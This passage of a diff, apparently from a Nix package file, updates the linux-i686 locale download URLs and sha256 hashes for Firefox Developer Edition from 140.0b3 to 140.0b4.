+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/dsb/firefox-140.0b4.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "57a567b97d77cc6ba5514731ea0023e6df7024e3fbe7d919237c326158081fb5";
+      sha256 = "11fa034d78efe86b64d6d06902d4e4e2bc65ca3ad26f9d4921ea58cb09984876";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/el/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/el/firefox-140.0b4.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "d113a78e8660fe9372a68567dadf5b7097a5e650764848fac93d50feaf24f8a5";
+      sha256 = "31f822245236d5176e4b03ff56b1c65a40ba7bb466410aea2b118776f710aec8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-CA/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-CA/firefox-140.0b4.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "990dda380aad36bcf0b84e9f78579df2bed59f534f2e57d0f6ea065aa652acff";
+      sha256 = "38fc5dc95972a11cd02b1c081ee321716a42e98ec6ef7e3f435d4b1221bf2ce1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-GB/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-GB/firefox-140.0b4.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "a616cdf4a9363eac7349d90a3a1eb4a488f6114997073dee901c1d5804418cc6";
+      sha256 = "0fef7f42cae9c59916fa6057d364d708c802a1f94941f90caaacb3035296e544";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "8fc9253f882b22e0ba78979b0540998bf042239a5a34ab7e574529d3f057c607";
+      sha256 = "13669006bc1b4910b522c29ff090f2678be9fa240f4f267616af593c10ef462f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "0f685452bdfcc638f70c363a5461aa46dfac06f5f4e42cd8c4f1c74b72c1a696";
+      sha256 = "9e7e27590c325c569d52230fc011cae9e9ac01bb812e2e18e5f0267fe55a2918";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "41bcd6cbcb68a993ced21131e1f7a4642f8625fed0c58109f420bbbff64d852a";
+      sha256 = "e6c051adaecd6f60d1fc4709d9303cf466024be18742966edbaf43a36789999c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "af25ac96f6c46a25745d832863b556ce634dbb8f77c40ddc9d3afd005ea28b49";
+      sha256 = "b8517c7afbc67ead810e626fa1ea48f1684e19d6dcd662798725b8b892bde6b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "d0201178c6f4b96cc311d142488c0ac4b19d72733249a3656cb3b174ff959a98";
+      sha256 = "c4c0b29a4a060a0c8af8629adf6ca0ff2976f78cc64aec6fb008b87858e273e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "3fb7c4a44ef36efb56ca313f3bd10a0464bd08428cb6d1a709c0cdf558ae07cf";
+      sha256 = "49b3abcab9b709150d6e972049f2b6de488c46a12419ea9f1f6197f66e91e8b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "93961bbdecfd176f097095ba7703fb9ef3cec8d604dd9a012ba4c1bb07e841fd";
+      sha256 = "75a4e80ebf1b76c63552b333d09d2955dcb96695c3a2a1ce4e1c1923f088fb1e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "4617edf681e734a814dbbf668092e0a427862dba8fa7bbcfcc6c8b6869ea0bd8";
+      sha256 = "8ea8d99a94ebc7b8f42d8e10bd95842bbfdd536482efcc122b81be83cdcf3735";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "a579ae841de8e29069ba0edc59efbe6430ffd8f13dea1d69ab1592affd9bc871";
+      sha256 = "e6bef39a4ecd26f015a73c01e16a3c7002ea10940b656c44d143718f0142fe10";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "bc4c4b4f4e01ea125d4141de08c2aa7716b87bdb41566c023dd0e3686dee88cd";
+      sha256 = "d10e07baef739462e5416f0b274e5ad28ee3d80b46baa1a6fa3cb58ff60ee058";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "26b27149b6d4a5960e3d59575e7ca1ed6cbd91dc67c818b7b83fceea42c21dac";
+      sha256 = "e49ff3f9972a37af4c5e9b63004ba1830c52f6857731c698d3c865e54be1afc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "477523d6453d808db5d378b62f33c0417ff3595b942945dcec1686942c1aa87f";
+      sha256 = "f994e1c351ea6baf9a180f78815c64279c9012de3a5081f0556979834e626d3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "3a720b45d5411dc9f83143ec80c70909b013acbb6165fc072887edef1de33705";
+      sha256 = "5d3b63899668bb1c644e0c4c99bf12ebdc0537ae9c3b7254b109f79d45861f8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "7436081cc81d5b0e54560404d8e4c0bdbd5ab91456aba97b8841f29c02608f9c";
+      sha256 = "b1200734203936c991271a16d46be20e4142ad5ac3f86b37c1dac8aa93d57957";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "feaa4b8a1e69bfac278bce8e7ec4baf3a18438fabb2634229b449f4a6a8071e7";
+      sha256 = "1b56d9d55166127ebfc90662ce1165ca70f47aa44efe41fa43f5bd78e82a7d61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "f8ed901391214851f1a82bef8659c54596b9dbd221e5845a9b81e40f46d3dd25";
+      sha256 = "2a822268acefc09e5ba26dee73982de407c4d9aac8c8abe9621c487245654571";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "bb166811df4e679eee8aa0e371de27c8473308f3f24d6a4e91310f2700f6a10a";
+      sha256 = "81e91beebc926105e03b1866b83d4558c89220e2281a5d1ad5ecfbf384529ee3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "9175d366055317304a7af2250fd25fea929314fc360787403b486400bdd1018e";
+      sha256 = "fc0ea462b9700642e36ca02589e84be42bdd1943bc014fd1fc3f2601d076e6a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "c147e7fc02111c32bb0845e8bebbe4be7f6e009c82d9b75c3ca62830fb4c0c95";
+      sha256 = "32917a5d626a841856998e2596691b20e86d2e18dc4417f553966b8e4738681d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "dfc43c4a430407d78b62b1148d6fa2b4aed91899bc337e1f4b879608b43afa70";
+      sha256 = "d34160eb61dfd9095fbf5c576e787da856815b4510e8d80d1f3e9a948032f7b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "c8422bf72d6683c4088949622e765d5ad4da33d60dd94ef6ee435935060d22a8";
+      sha256 = "51828123c95c9d6cc2e36ca3c2c411e7919d7f5555f36674b6f804ab262e4d4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "d867c871b0bb1fd87395696dd4be6f4c4264e39ebec31f702f8d94331845fa69";
+      sha256 = "3c4c02943f7a6c60a0a7c87158e03747d4a9e44f1e49cab054b7d35811cfb4f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "cf63b5e01ef1abde07f4c3a729263c4591c38ec20ec5b63da41c322fb9c0d40d";
+      sha256 = "2885f4677dd03b444a4eec840cebfb9e8bca4b1f091c155e9370b30c9bcbaa41";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "bc5bf7b0485bf4c10c8db8347aae430b8817628c3d681069ba932a6f1d57ebec";
+      sha256 = "4a0aacef612ee558547ea65b43d461ae4f1e4484d8f1b1f08d1e0e1123c39a11";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "c4d9b7c8eabd96bb7aa4a7931f8c824f8697defabf3bc58e9005ec35f932c5fa";
+      sha256 = "756af49598e57e4e604b9d7ae3420fc1d1f92520e9387e769ec32dbf7b88e799";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "5b7a33988ce0ec4c4cd1a76b19e52584bb90c558e53f0659b0821e17c3b0fa40";
+      sha256 = "4c21904867ebbcf124d66a611454c9170f4974c4056edbe7b85fccc530a89821";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "957752a35e35370f60a905a49a52356c50faeefcd786c2b9287e5b70c0e31a5d";
+      sha256 = "20b890969b74c69d5b08b5249a2c90abd35e209bc0f604c501c666a8698525bf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "3c51a6c0cebc848f0995fdfaf09e7f2d9f22070d7f1dd21f3b80512efd053dbd";
+      sha256 = "0a9a6a5847f6e941d5e4dd1dc005811950b136d9f603aaf4cf7137ef254fa72e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "4f51222201514d7ba5ea82b106879275c193b2efa4bdd33ff1a7794c1e51a165";
+      sha256 = "31dba20ca0561d706ed27a981578c2009ec7b16e34747b203f032e94ee7c58e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "edde8d936d28d02514a05418571fb94fc8ac6d7b6391ac7527e04145e7f639ce";
+      sha256 = "1fea25b831a12066f42dc06a6b266de967eabd096c313d07f13cc70723a2cac4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "bdc2d130e7fdd4ec2524537038a1f6f4959417565a0c382af7d882bd8cdafdbc";
+      sha256 = "3a1d9c4bc047759380d0b32c379d21ca79dbfc583548fd8f7c8f04a09bec6a01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "dbe8a9ebccb41f1b2651518baab3ee626c955b2c499ad059803c8f8360d857c3";
+      sha256 = "9983545d86d35e4e7550edc155a58ff2109daec31f8221c3f4f6bf39a2e5e6f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "f21596ce29b3e5cce2aef7a6bdcbf53886e09ca1eb8288a4192f0bc74a6cf31d";
+      sha256 = "888ca132a30e062cfca97fd1583ac5c67bc74b6ec24d988ea37ba55af2a79843";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "51f013bb4d063cb177a6427c603f7bc6b9b6363549fc7b15088e872078b4adc7";
+      sha256 = "311fba327c8c69382296a0aa25ac374c50b179e297a255b69b3699d5a4c45a71";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "109270210f06933d1fcf140c5771c281b21dd91ce31f116774f990da2483ff3f";
+      sha256 = "6ca08c6ce3c707130fee2a835b151dc49b2d7f36f4bb520cfa9390bc7c415731";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "fd8790433e4b98e959d409ae606388106c86d7c2a039445fbc3e82a8e382fec8";
+      sha256 = "df91e05dbcb7e0d0ee071a98716df1406a13f31e1e35aab9861aa4fabde2b19a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "da2c6890c5cb79d4a122f4b550e7cfec38920c2976ad3ac155d6d735ab0de102";
+      sha256 = "d2e4f16f289dc27c5e86260ca43fbded3d9e72d53b287994868e0e8aa61b90c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "c92278eb5526b2ec381e394bee7229c0a5f7177c6516059cd8dc2636f0d99bb9";
+      sha256 = "5fe6fec4ab706cb36f18a0106052189e0d4003ff30b2fae3f2f686cba43dc03e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "e4d1a0820c21a00722a5b41df3c559b318108281e6fb552d51320fbf6d7bab54";
+      sha256 = "cf3ff655c1dccd8760eced7c80afd3a56c55b7ebfc9b0fc9dcf0f44511265bfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "119900c5589efbba5c192da8ea7d770dd9184932da0c4bbb6d3213a358c1c055";
+      sha256 = "4d0da6a59535c9c1411b6f6aa55a7302eed58cd2f53f0ff53e04a192cb8b6103";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/mr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "66a8229b2dd946d4396b3ccd2af55fcab0dcec3468ee2b334e2ad2a2029cbe34";
+      sha256 = "34c88897c19103f20389bde6c25e0a63a2501d95b51b2e3d4c361afae7c7fa97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "215a550a78d4656fde841d2baf4083e3f90a9954fd99ed55c82e5392577de31d";
+      sha256 = "086fe715d88df9c1a7c0248427f15ad667ef21d63778294b2034e5e6e8b6e705";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "e4579d6e87b52b690e0fbbf71af53402a9261ab5556ce1284051639a9da2d215";
+      sha256 = "f0b76fa4dca799e4a6dc301e121d9d665921b57d2b5a6e2f4930ed238db1da97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "a051053384c01772340ac9cae9c377d97a6ab59e627f5f1e8c1b8fa2768c92e6";
+      sha256 = "3db95dcaa7e87cff94f840755ed3c2c044d087e7efc9e4e0e66656def33d0658";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "693c42f47289df67ccfdcce9a3d0da796d8ebe84639cd90c14db5af434f13013";
+      sha256 = "772ddc3bda37a90f96ebf2c0031f6b382e1551b46b24636fb1fdf327438e6bc3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "5532fcebc2aee242934b40e084e2b8c8f29fbce387bed373bd25564489bedf77";
+      sha256 = "52cfa752621f9671ca20ff58f17daf8231b6b25fdd93a0ab7089ee9ba30545c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "50292d5b83535f8ff85f2eeb184eef5abf684cc2698766d7454f2a0e1e9297ba";
+      sha256 = "0f0da43087dde742473ae10ce9aaaf698a82ecd7f6934a22115eeedd25d9f096";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "7ae1beeb5c4062d8407e811432eac653615f830d35a90dd8217d31fc98caeaf3";
+      sha256 = "59c4b11f86d1699f696d820a7b7f188744a4b05ed8969b16e4e275994e885592";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "c47af05a8d08e396de06697f09e7978eac8fe2c2267187a6337dd124ed5a8f77";
+      sha256 = "e00b35803b0327542c1b8205bae4cd92a0f4d0996d04f6d0e102271def7faba7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "e05f6d2e4f8489507eb087558a11d59e478f7fd0c9bf6ad4279960e065588fac";
+      sha256 = "8a608042c8e0bc3b680c43a17f2c2056e33e7ec08786925e84e78770d2dd56f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "8ae07d27437f29333b9e0e90e17240db50edd1fb148da4d6a5cebef31e6cd826";
+      sha256 = "e53f0c8f5f95aa91285ecec905eb0f4319241c6d0213fc18005be9a6b217e856";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "2921ad599cad7a906d9e58cf0822d96eb074915c1729579345426ce0aeca94ce";
+      sha256 = "4c9776ae68caff9fb70b72f4bdeb11479cae6de27e2a55d8cb861b741b753155";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "e02b76f0e858bbc91b90cea52f4385d26e96cb9e1394b765d09310830974029f";
+      sha256 = "065aea6a7a7557aa03eca1448b98a1f6d28d63623dc20d6c5a2f810ffb034009";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "6fc5c8e17bc5e2fe3fa47e68bfc095e131c491c9db572731ac31a8477a9571ab";
+      sha256 = "c32c420d584098f614af1009dd6bc9ea2b90447c2681684f36ce16824113ba28";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "7da9cacabac3247e5e64a0a29932b61c6c7b57028464e3c5d73b9523b48f42af";
+      sha256 = "2bfbab38ec47b41af7b52a712aa1e8ee8530834f186147ea3ec4d96da3f75538";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-i686/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-i686/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "fb4ecb61c01b11286b1ceeee25720e85a579ee60b4d3be319b8dc4a8c8d51354";
